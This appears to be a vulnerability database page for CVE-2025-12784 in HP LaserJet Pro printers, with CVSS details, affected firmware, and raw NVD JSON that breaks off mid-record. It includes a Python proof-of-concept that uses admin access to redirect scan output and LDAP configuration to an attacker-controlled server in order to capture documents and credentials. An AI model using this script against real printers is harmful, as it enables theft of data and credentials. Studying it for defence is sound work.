Security Vulnerability Report
中文
CVE-2025-12784 CVSS 4.9 MEDIUM

CVE-2025-12784

Published: 2025-11-13 18:15:50
Last Modified: 2026-02-13 16:38:20

Description

Certain HP LaserJet Pro printers may be vulnerable to information disclosure leading to credential exposure by altering the scan/send destination address and/or modifying the LDAP Server.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:hp:w1y47a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:w1y47a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:hp:7kw48a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:7kw48a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:hp:7kw49a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:7kw49a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:hp:7kw50a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:7kw50a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:hp:7kw51a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:7kw51a:-:*:*:*:*:*:*:* - NOT VULNERABLE
HP LaserJet Pro 打印机(具体型号和固件版本需参考HP官方安全公告hpsbpi04074)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12784 PoC - HP LaserJet Pro Information Disclosure # This PoC demonstrates the configuration modification attack vector import requests from requests.auth import HTTPBasicAuth import json TARGET_IP = "192.168.1.100" TARGET_URL = f"https://{TARGET_IP}/hp/device/ScanSettings" # Attacker-controlled server to receive stolen data MALICIOUS_SCAN_TARGET = "http://attacker-controlled-server.com/stolen-docs" MALICIOUS_LDAP_SERVER = "ldap://attacker-controlled-server.com:389" def modify_scan_destination(): """Modify scan/send destination address to attacker server""" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-CSRF-Token": "obtained_from_session" } payload = { "ScanToEmail": "1", "EmailAddress": "[email protected]", "SmtpServer": MALICIOUS_SCAN_TARGET, "Action": "Save" } response = requests.post( TARGET_URL, data=payload, headers=headers, auth=HTTPBasicAuth("admin", "high_privilege_password"), verify=False, timeout=10 ) return response.status_code == 200 def modify_ldap_server(): """Modify LDAP server configuration to capture credentials""" ldap_config_url = f"https://{TARGET_IP}/hp/device/LDAPSettings" payload = { "LDAPServer": MALICIOUS_LDAP_SERVER, "LDAPSearchBase": "dc=company,dc=com", "LDAPPort": "389", "UseSSL": "0", "Action": "Apply" } response = requests.post( ldap_config_url, data=payload, auth=HTTPBasicAuth("admin", "high_privilege_password"), verify=False, timeout=10 ) return response.status_code == 200 if __name__ == "__main__": print(f"[*] Targeting HP LaserJet Pro: {TARGET_IP}") print(f"[*] Exploiting CVE-2025-12784...") if modify_scan_destination(): print("[+] Scan destination modified successfully") if modify_ldap_server(): print("[+] LDAP server configuration modified successfully") print("[*] Attacker will now receive scanned documents and LDAP credentials")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12784", "sourceIdentifier": "[email protected]", "published": "2025-11-13T18:15:49.760", "lastModified": "2026-02-13T16:38:20.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Certain HP LaserJet Pro printers may be vulnerable to information disclosure leading to credential exposure by altering the scan/send destination address and/or modifying the LDAP Server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:w1y47a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "6F5F1E5A-6B79-4CD0-97A5-76E72C7F96D6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:w1y47a:-:*:*:*:*:*:*:*", "matchCriteriaId": "5711F566-054F-424C-8EE2-960CC1099AAF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:7kw48a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "50449E37-0A7D-4941-B1FD-498DFC33A941"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:7kw48a:-:*:*:*:*:*:*:*", "matchCriteriaId": "49466652-DC9B-494D-A086-C7BAE74F832C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:7kw49a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "65A43040-7E70-4A76-90F0-991E99FF6E47"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:7kw49a:-:*:*:*:*:*:*:*", "matchCriteriaId": "650D3F3E-A788-4293-AF8E-5EB8D961736B"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:7kw50a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "AC8D8855-E3CA-4B3A-A67C-EE060673F1C2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:7kw50a:-:*:*:*:*:*:*:*", "matchCriteriaId": "C37FCB97-9C74-416A-8CE7-AC74ECEE29DD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:7kw51a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "ABEC5168-FD50-4132-A200-3688F4CAE16D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:7kw51a:-:*:*:*:*:*:*:*", "matchCriteriaId": "B62F33FA-EE8C-4F23-95E8-DF8FF23DCC79"}]}]}, {"operator": "AND", "nodes": [{"operator": "O ... (truncated)